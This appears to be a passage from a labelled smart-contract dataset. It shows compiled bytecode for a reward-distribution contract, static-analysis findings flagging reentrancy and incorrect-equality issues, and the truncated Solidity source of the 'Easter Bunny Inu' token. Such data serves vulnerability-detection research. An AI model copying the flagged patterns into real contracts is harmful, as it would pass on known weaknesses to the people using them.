05260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661261e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156126c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f41646472657373206d757374206e6f742062652030783000000000000000000081525060200191505060405180910390fd5b60016007540383101580156126d857506007548311155b61272d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180615b2a6024913960400191505060405180910390fd5b6000612838600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156127ef57600080fd5b505afa158015612803573d6000803e3d6000fd5b505050506040513d602081101561281957600080fd5b81019080805190602001909291905050506152c590919063ffffffff16565b9050600081116128b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e74206d757374206265206e6f6e2d7a65726f00000000000000000081525060200191505060405180910390fd5b61290281600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129a8816010600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b6010600086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600f600086815260200190815260200160002060006101000a81548160ff021916908315150217905550612a348482858561530f565b5050505050565b6012602052816000526040600020602052806000526040600020600091509150505481565b60048181548110612a6d57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6019602052816000526040600020602052806000526040600020600091509150505481565b6000806012600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006013600087815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115612c1957612c12828285613189565b9350612c1e565b600093505b8393505050509392505050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612cea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612e42576005839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612e4d8484836142e8565b81601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f4e351dd0f3a8cc5682178a81d960be19d454f9fe874a9d4f0753caae5685900060405160405180910390a450505050565b60068181548110612f4f57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038181548110612f8b57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6010602052816000526040600020602052806000526040600020600091509150505481565b601c60205282600052604060002060205281600052604060002060205280600052604060002060009250925050505481565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600080905060006130df614ffb565b90506130ed8484848461255f565b50505050565b6011602052816000526040600020602052806000526040600020600091509150505481565b600c6020528060005260406000206000915090505481565b60156020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006131b0836131a2868561583990919063ffffffff16565b6158bf90919063ffffffff16565b90509392505050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561332157600080fd5b505af1158015613335573d6000803e3d6000fd5b505050506040513d602081101561334b57600080fd5b81019080805190602001909291905050506133ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b5050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561351e5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b613590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b6003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661370d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60006010600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006010600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061380a81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600f600085815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561392257600080fd5b505af1158015613936573d6000803e3d6000fd5b505050506040513d602081101561394c57600080fd5b81019080805190602001909291905050506139cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b505050565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015613b205750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b613b92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b6003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600580549050905090565b60096020528060005260406000206000915054906101000a900460ff1681565b60001515601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060009054906101000a900460ff16151514613d91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615ab7602c913960400191505060405180910390fd5b60008090505b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156141e8576000601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613e2a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050613f4b601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460136000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b60136000600754815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061411b8160136000600754815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b60136000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007548273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f1c6cf7f4185192b90e5dbc6c1030559d3a499bc798a5fd775870659fe4e254c4846040518082815260200191505060405180910390a450508080600101915050613d97565b506001601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b600d6020528060005260406000206000915090505481565b60075481565b60146020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166143a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156144325750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561446b5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6144dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b600a81101580156144f057506103e88111155b614545576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180615ae36026913960400191505060405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166145fa576004839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f6f1e56c55b9479aaa7ee72e01aa069c9d9e1874fa8145a0d010c1ce91483df15846040518082815260200191505060405180910390a4505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60176020528060005260406000206000915090505481565b600260005414156148a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260008190555060001515601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146149a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180615a906027913960400191505060405180910390fd5b600f600083815260200190815260200160002060009054906101000a900460ff16614a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f457261206d757374206265206f70656e6564000000000000000000000000000081525060200191505060405180910390fd5b6000614a4233846114c2565b90506000811115614d74576001601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550614b56816010600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b6010600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614bfc81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015614cc657600080fd5b505af1158015614cda573d6000803e3d6000fd5b505050506040513d6020811015614cf057600080fd5b8101908080519060200190929190505050614d73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b5b823373ffffffffffffffffffffffffffffffffffffffff167f0febf5fad8005f14b1cf04172c840311f6c94fe0e14e38087260ba190a357b32836040518082815260200191505060405180910390a360001515601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060009054906101000a900460ff1615151415614e3957614e3833613cd5565b5b5060016000819055505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b601a6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60058181548110614ea257fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16614f90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b614f9e83600754848461255f565b614fb4600160075461507890919063ffffffff16565b600781905550505050565b601d602052826000526040600020602052816000526040600020602052806000526040600020600092509250509054906101000a900460ff1681565b6000600480549050905090565b6013602052816000526040600020602052806000526040600020600091509150505481565b6018602052816000526040600020818154811061504657fe5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808284019050838110156150f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b80601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506152028160136000600754815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b60136000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007548273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f1c6cf7f4185192b90e5dbc6c1030559d3a499bc798a5fd775870659fe4e254c4846040518082815260200191505060405180910390a4505050565b600061530783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250615909565b905092915050565b6000806000808590505b848110156155dc5760006004828154811061533057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156153ff5750600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156155ce5761541860018561507890919063ffffffff16565b93506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061555f606461555184600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561550857600080fd5b505afa15801561551c573d6000803e3d6000fd5b505050506040513d602081101561553257600080fd5b810190808051906020019092919050505061583990919063ffffffff16565b6158bf90919063ffffffff16565b9050615574818861507890919063ffffffff16565b965080601160008d815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b508080600101915050615319565b5082600e60008981526020019081526020016000208190555060008590505b848110156157c05760006004828154811061561257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156156e15750600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156157b2576156fa60018461507890919063ffffffff16565b92506000601160008b815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061575c81878b613189565b601260008c815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5080806001019150506155fb565b50863373ffffffffffffffffffffffffffffffffffffffff167fd7b022ad987606d8c29043f24a451ccffc5aa3a813994c086b6da216c3d8df348886868642604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a350505050505050565b60008083141561584c57600090506158b9565b600082840290508284828161585d57fe5b04146158b4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615b096021913960400191505060405180910390fd5b809150505b92915050565b600061590183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506159c9565b905092915050565b60008383111582906159b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561597b578082015181840152602081019050615960565b50505050905090810190601f1680156159a85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290615a75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615a3a578082015181840152602081019050615a1f565b50505050905090810190601f168015615a675780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581615a8157fe5b04905080915050939250505056fe526577617264206173736574206d757374206e6f742068617665206265656e20636c61696d65644d757374206e6f742068617665207265676973746572656420696e20746869732065726120616c72656164794d7573742062652067726561746572207468616e20302e312c206c657373207468616e203130536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d7573742062652063757272656e74206f722070726576696f757320657261206f6e6c79a26469706673582212203565323a165c472f5db6126ce1ffbc91f86b0e0f29e2d377f91a0020f9c1a69664736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,759
0xf538c6e343d739772bd46f4c8d493bb17db30d78
/** 🐰Easter Bunny Inu🐰 🐰EBINU🐰 🐰Totalsupply 1,000,000,000🐰 🐰Max buy/sell: 10,000,000🐰 🐰Max wallet: 40,000,000 🐰 🐰token will be locked🐰 🐰Contract will be renounced🐰 🐰htpps://t.me/EBINU_ETH🐰 🐰https://twitter.com/EBINU_ETH🐰 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EBINU is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1_000_000_000 * 10**decimals; string public constant name = unicode"Easter Bunny Inu"; string public constant symbol = unicode"🐰EBINU🐰"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 6; uint public _sellFee = 9; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { 